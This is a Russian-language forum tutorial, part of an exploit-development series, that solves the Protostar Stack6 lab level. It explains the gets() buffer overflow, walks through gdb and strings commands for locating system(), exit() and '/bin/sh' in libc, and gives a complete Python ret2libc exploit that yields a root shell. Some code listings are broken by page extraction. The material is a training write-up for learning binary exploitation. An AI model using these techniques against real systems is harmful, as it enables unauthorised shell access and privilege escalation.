Все части переполнение буфера
Предыдущая часть
Переполнение буфера и размещение шеллкода в памяти - разработка эксплойтов, часть 6
Привет античат =) Прошло много времени с тех пор, как я последний раз писал статью, и я думаю, что пришло время для новой. В предыдущей
статье мы познакомились с шеллкодом, и написали с вами первый эксплойт и даже не один, а два, размещали шеллкод в буфере и размещали шеллкод за адресом возврата
(RET) при этом используя прием
NOP-Sled. А так же узнавали реальные адреса в памяти, анализируя дамп памяти, так, как, под отладчиком адреса не много смещаются.В этой статье мы познакомимся с новым подходом выполнения кода.
Описание ExploitMe
Stack6 смотрит на то, что происходит, когда у вас есть ограничения на обратный адрес.
Этот уровень может быть выполнен несколькими способами, такими как поиск дубликата полезной нагрузки (objdump -s поможет с этим), или ret2libc, или даже обратно ориентированным программированием, ориентированное на возврат (ROP).
Настоятельно рекомендуется поэкспериментировать с несколькими способами заставить ваш код выполняться здесь.
Stack6, VM
Исходный код
C:
Код:
#include
#include
#include
#include
void
getpath
(
)
{
char
buffer
[
64
]
;
unsigned
int
ret
;
printf
(
"input path please: "
)
;
fflush
(
stdout
)
;
gets
(
buffer
)
;
ret
=
__builtin_return_address
(
0
)
;
if
(
(
ret
&
0xbf000000
)
==
0xbf000000
)
{
printf
(
"bzzzt (%p)\n"
,
ret
)
;
_exit
(
1
)
;
}
printf
(
"got path %s\n"
,
buffer
)
;
}
int
main
(
int
argc
,
char
*
*
argv
)
{
getpath
(
)
;
}
Решение
Приступим - рассмотрим исходный код программы. Главная функция
main() вызывает подпрограмму, функцию
getpath(), эта функция имеет буфер на 64 байта и уязвимую функцию
gets(), которая и будет использовать этот буфер, так же у нас есть без знаковая целочисленная переменная обозначенная как
ret, в неё будет записан адрес возврата текущей функции, переданный из функции
__builtin_return_address(0).
Условие в коде
(ret & 0xbf000000) == 0xbf000000) говорит нам, что если адрес возврата указывает на стек, программа завершается с кодом
(EXIT_FAILURE) т.е. с кодом 1.
Запустим отладчик чтобы убедится в этом, а именно посмотрим на регистр ESP и EBP.
Код:
Код:
gdb -q ./stack6
break main
run
info registers
Как нам видно
"0xbf .. .. .." это стековые адреса
Код:
Код:
esp 0xbffffd20 0xbffffd20
ebp 0xbffffd28 0xbffffd28
Теперь проверим это условие используемся питоном, выходим из отладчика -
.
Запускаем
и вводим следующий код
Python:
Код:
hex
(
0xffffffff
&
0xbf000000
)
hex
(
0xff123456
&
0xbf000000
)
hex
(
0xff12abcd
&
0xbf000000
)
hex
(
0xbf12abcd
&
0xbf000000
)
hex
(
0xbfffffff
&
0xbf000000
)
Закрываем интерпретатор питона
. Видно, что использование адресов с
0xff -
0xbf приведет выходу из программы со статусом
(EXIT_FAILURE).Вот почему нам сказали использовать
Ret2Libc или
ROP в условии задания.
С этого момента в решение этой и последующих задач, мы будет не только приобретать новые знания и опыт, но и осваивать техники эксплуатации. Что же это такое??? Это методы как заюзать уязвимость. Как использовать, эксплуатировать уязвимость. По аналогии приведу пример, чтобы было более менее понятно. Существует допустим уязвимость внедрения SQL-кода на каком-нибудь сайте. Так вот, бывает, что эту уязвимость эксплуатировать легко, а бывает, что не всегда с первого раза SQL-Injection можно раскрутить. И тут нам на помощь приходят всякие кодировки, которые помогают достичь цели. Или же если SQL-Injection не совсем обычная, а Blind типа. И тогда мы уже используем другие методы отходя от привычных или же комбинируем их.
Эти методы и есть техники эксплуатации уязвимостей. Возможно пример не самый удачный, но всё же он отражает хоть какую-то суть...
Ret2Libc
Следующая ступень в эксплуатации бинарных уязвимостей это техника ret2libc.
Ret2Libc- это техника эксплуатации когда адрес возврата (RET) функции в стеке подменяется адресом иной функции в программе, и в последующую часть стека записываются параметры для вызываемой функции. Эта техника позволяет нападающему выполнить какую-либо существующую функцию без необходимости внедрения шеллкода в программу. Простыми словами Ret2Libc - это возврат в libc или возврат в библиотеку языка Cи.
libc— это стандартная библиотека языка Cи. Она содержит все общие системные функции, включённые в язык программирования C.
В одной статье мне понравилось сравнение ret2libc с аналогией из фильма Матрица. Точней говоря одним из моментов этого фильма.
Вот этот момент
Сцена фильма "Оружие, много оружия", идеально демонстрирует суть Ret2Libc. Оператор смог полностью обойти и перепрограммировать матрицу, чтобы МОРЕ оружия просто появилось из ниоткуда. Всё это оружие это функции в libc.
Это и есть ret2libc. Когда мы сделаем переход в эту библиотеку (LibC) у нас появится возможность вызывать все функции которая содержит эта библиотека.
Техника ret2libc основана на переполнении буфера. Поэтому нам надо будет перезаписывать данные в стеке, и перезаписать указатель возврата, чтобы указать на конкретную функцию в libc, и передать ей любые аргументы, необходимые для доставки нашей боевой нагрузки.
Одной из самых распространённых функций при атаках используя технику Ret2libc является функция system(). Давайте посмотрим на документацию
Код:
- выходим.
Как мы видим, функция
system() просто выполняет shell-команды. Более того, если мы прочитаем описание, то увидим, что система просто выполняет
'/bin/sh -c ', и команда передаётся в функцию через аргумент.
Итак, всё, что нам нужно сделать, чтобы получить доступ из командной строки к компьютеру, на котором запущено уязвимое приложение — это вставить
'/bin/sh' в стек в качестве аргумента, а затем заменить указатель возврата или вызов адресом памяти функции system(), так чтобы эта функция вызывалась с
'/bin/sh' в качестве аргумента, запускала оболочку и предоставляла нам полный доступ через систему.
Но для того, чтобы овладеть техникой
ret2libc, нужно овладеть техникой "
перезаписью сохраненного значения в регистре EIP".
Которая применяется при написании классических эксплойтов. Т.е. для простых эксплойтов, где не нужно обходить всякие защиты подобные
SEH\DEP, ну или частично... А мы её уже изучили, поэтому нам не составит труда освоить и эту технику эксплуатации.
Мы помним что для реализации этой техники эксплуатации "
Overwriting saved EIP" надо...
- Переполнить буфер
- Получить ошибку Segmentation fault 0x41424344
- Вычислить смещение offset
- положить адрес в регистр EIP
Вся область которая перезаписывает регистр EIP
смещение + 4 байта (EIP) адрес шеллкода
Как то так...
Так же мы знаем еще одну технику
NOP-sled. Где мы использовали кучу нопов для выполнения нашего шеллкода который был размещен за адресом возврата
(RET).
И мы комбинировали их
"Overwriting saved EIP" + "NOP-sled".
А для реализации техники
Ret2Libc нам надо.
"Overwriting saved EIP" + "ret2libc"- Получить всю область которая перезаписывает регистр EIP (Overwriting saved EIP)
- Получить адрес функции system()
- Получить адрес функции exit()
- Получить адрес оболочки '/bin/bash'
Далее сконвертировать полученные адреса и данные в эксплойт.
eipOffset + systemAddr + exitAddr + shellAddr
и выполнить его.
И так создадим файл eipOffset.txt
Код:
Код:
nano ~/eipOffset.txt
положим туда строку
Код:
Код:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
. (Ну или воспользуемся сайтом, хоть так, хоть так, разницы нет, буфер у нас на 64 байта. Если бы он был большего размера, тогда уж лучше воспользоваться сайтом или утилитами из метасплойта)
Запускаем отладчик
Код:
Делаем перенаправление из файла в программу
Код:
Код:
run } 0xb7ecffb0
$2 = {} 0xb7ec60c0
Вторая часть кода эксплойта с первой
Python:
Код:
from
struct
import
pack
eipOffset
=
"A"
*
80
systemAddr
=
pack
(
"I"
,
0xb7ecffb0
)
exitAddr
=
pack
(
"I"
,
0xb7ec60c0
)
shellAddr
=
Адрес
'/bin/bash'
(
4
байта
)
Двигаемся дальше...
Теперь нам надо выполнить пункт 4.
4. Получить адрес оболочки '/bin/bash'
Для того чтобы узнать адрес воспользуемся командой
"info proc map" для того, чтобыотобразим адресное пространство и тем, самым посмотрим где libc загружен в память.
Код:
Код:
gdb -q ./stack6
break main
run
info proc map
Отлично адрес мы вычислили, libc загружен по адресу
0xb7e97000. Теперь попробуем найти в памяти строку "/bin/sh". Для того чтобы это сделать воспользуемся командой
find, которая помогает осуществлять поиск в памяти.
Синтаксис команды такой
find адрес, +размер, значение
find начальный_адрес, конечный адрес, значение
Код:
Код:
find 0xb7e97000, +9999999, "/bin/sh"
x/s 0xb7fba23f
Отладчик выдал нам паттерн (шаблон) по адресу 0xb7fba23f, но когда мы попытались заглянуть в память по этому адресу и результат вывода отобразить память как строчку, то мы не нашли там "/bin/sh". Можно продолжить дальше искать в памяти, что очень затруднительно... Поэтому поступим следующим образом, будем использовать команду strings в Linux. Выходим из отладчика.
Код:
Запустим команду с такими параметрами -a -t x, а так же укажем полный путь до библиотеки + подключим утилиту grep для поиска нужной нам строки.
ключ
-a указывает на то, что нужно просмотреть весь файл.
ключи -t x указывают на то, что надо отобразить смещение в шестнадцатеричном формате.
Код:
Код:
strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
Результат не заставляет себя ждать, мы нашли строку "/bin/sh" в Libc по смещению
0x11f3bf
А сама библиотека Libc загружены по адресу
0xb7e97000
Сложим эти два адреса, что мы имеем. Воспользуемся питоном
Запускаем
Python:
Код:
shellAddr
=
0xb7e97000
+
0x11f3bf
hex
(
shellAddr
)
выходим из интерпретатора питона.
Наша строка
"/bin/sh" находится в памяти по адресу
0xb7fb63bf. Для большей убедительности проверим в отладчике.
Загружаем программу в отладчик, ставим точку останова, и запускаем программу по отладчиком и смотрим наш адрес.
Код:
Код:
gdb -q ./stack6
break main
run
x/s 0xb7fb63bf
quit
Отлично мы получили действительный адрес "/bin/sh".
Теперь напишем с вами полный эксплойт, так, как не достающий адрес мы вычислили.
Открываем редактор и пишем туда
Код:
следующий питон код
Python:
Код:
from
struct
import
pack
eipOffset
=
"A"
*
80
systemAddr
=
pack
(
"I"
,
0xb7ecffb0
)
exitAddr
=
pack
(
"I"
,
0xb7ec60c0
)
shellAddr
=
pack
(
"I"
,
0xb7fb63bf
)
print
eipOffset
+
systemAddr
+
exitAddr
+
shellAddr
Выходим из редактора и сохраняем наш файл с данными.
Код:
Настало время для теста
Код:
Код:
id
whoami
(python ~/exploit.py ; cat) | ./stack6
id
whoami
Ctrl+C
Как видите мы успешно получили оболочку с правами root пользователя. На этом всё, теперь можно переходить на следующий уровень stack7. Кстати говоря техника Ret2Libc и ROP помогает обойти такую защиту, как
Data Execution Prevention (DEP), т.е. когда включен
NX (XD) бит, эта защита которая запрещает выполнять код в стеке. В Intel = NX bit. В AMD = XD bit. Если говорить чуть более подробно, то DEP работает следующим образом. Память которая не должна исполняться (например, стек), помечается специальным битом NX (XD). Если ты попробуешь запустить код из памяти с установленным битом NX, то вызывается исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX (XD) и существуют такие техники, как Return-Oriented Programming и Ret2LibC. Мы даже с вами еще не затронули защиту, а уже познакомились с Ret2LibC. В следующей статье мы коснемся такой темы, как ROP.